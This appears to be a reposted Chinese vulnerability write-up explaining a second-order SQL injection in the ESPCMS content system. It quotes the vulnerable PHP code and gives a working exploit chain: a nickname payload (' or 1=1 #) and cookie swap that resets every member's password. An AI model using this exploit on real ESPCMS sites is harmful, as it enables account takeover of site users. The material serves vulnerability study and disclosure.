php sql 二次注入,espcms 二次注入一枚
Author:Yaseng
1:通過 $alias 二次注入來控制sql
用戶昵稱 $alias 從數(shù)據(jù)庫查詢出來 未過濾
interface/member.php
[php]
$db_sql = "SELECT * FROM $db_table WHERE $db_where";
$rsMember = $this->db->fetch_first($db_sql);
if (!$rsMember) {
..................................................
$this->fun->setcookie('ecisp_member_info', $this->fun->eccode("$memberread[userid]|$memberread[alias]|$memberread[integral]|$memberread[mcid]|$memberread[email]|$memberread[lastip]|$ipadd|" . md5($_SERVER['HTTP_USER_AGENT']) . '|' . md5(admin_ClassURL), 'ENCODE', db_pscode));
[/php]
//查詢出來時 無 addcslashes 可造成二次注入
雖然cookie 加密 無法逆向,但是已經(jīng)可以通過控制 $alias 來生成 某些sql 進(jìn)行注入
2:$this->ec_member_username 注入
public\class_connector.php 文件 中
[php]
$this->ec_member_username = $this->fun->eccode($this->fun->accept('ecisp_member_username', 'C'), 'DECODE', db_pscode);
[/php]
$this->ec_member_username 利用 1 來控制 sql (無視 gpc ,無視單引號)
隨便找到一個調(diào)用 $this->ec_member_username 的地方
如 interface\membermain.php 文件中 修改密碼處
[php]
$db_where = "userid=$this->ec_member_username_id AND username='$this->ec_member_username' AND password='$oldpassword'";
$db_sql = "SELECT * FROM $db_table WHERE $db_where";
$rsMember = $this->db->fetch_first($db_sql);
if (!$rsMember) {
$linkURL = $this->mlink['memedit_password'];
$this->callmessage($this->lng['password_input_err'], $linkURL, $this->lng['gobackbotton']);
} else {
$db_set = "password='$password'";
$this->db->query('UPDATE ' . $db_table . ' SET ' . $db_set . ' WHERE ' . $db_where);
[/php]
調(diào)用了 $this->ec_member_username 可以進(jìn)行注入
3:注入利用
經(jīng)過 1,2 分析 一次完整的注入攻擊
登錄 => 編輯資料(寫入注入 payload) =>退出 =>登錄 =>設(shè)置cookie(ec_member_username =ecisp_member_info)=> 修改密碼 => sql 注入
比如我要修改 所有會員的密碼
編輯資料 昵稱處填寫 ' or 1=1 # 然后重新登錄 修改cookie中 ec_member_username 的值為 ecisp_member_info的值
新舊密碼不要相同 此時的 sql 語句為:
[php]
UPDATE espcms_member SET password='99754106633f94d350db34d548d6091a' WHERE userid=1 AND username='1|' or 1=1 #|0|1|fuckss@163.com|2130706433|2130706433|fed0b5cf0dbbcab3431bf3bb8fe88349|1002de5fc95a1b716a2e04ab8d78bf76' AND password='1223b8c30a347321299611f873b449ad'[/php]
打完收工
與50位技術(shù)專家面對面20年技術(shù)見證,附贈技術(shù)全景圖總結(jié)
以上是生活随笔為你收集整理的php sql 二次注入,espcms 二次注入一枚的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 燕窝为什么要隔水炖?
- 下一篇: 妙蛙花配招go(妙蛙花配招)